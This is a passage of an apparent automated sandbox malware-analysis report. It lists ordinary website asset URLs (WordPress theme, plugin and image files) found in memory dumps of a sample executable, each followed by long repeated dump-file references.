yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/themes/elpro/js/functions.js?ver=1.0.0	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Monitoring.svg	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/product-category/history/british/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=9	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://oss.maxcdn.com/respond/1.4.2/respond.min.js	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/themes/outstock/style.css?ver=6.6.2	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/wp-content/uploads/2020/03/ICO-75-Prenosne-naprave.svg	yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/wp-smush-pro/app/assets/js/smush-lazy-load.min.js?ver=3.15.3	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/themes/outstock/owl-carousel/owl.carousel.js?ver=6.6.2	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/js/custom.js?ver=1.6	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=wc-9.1.	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=9.2.3	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 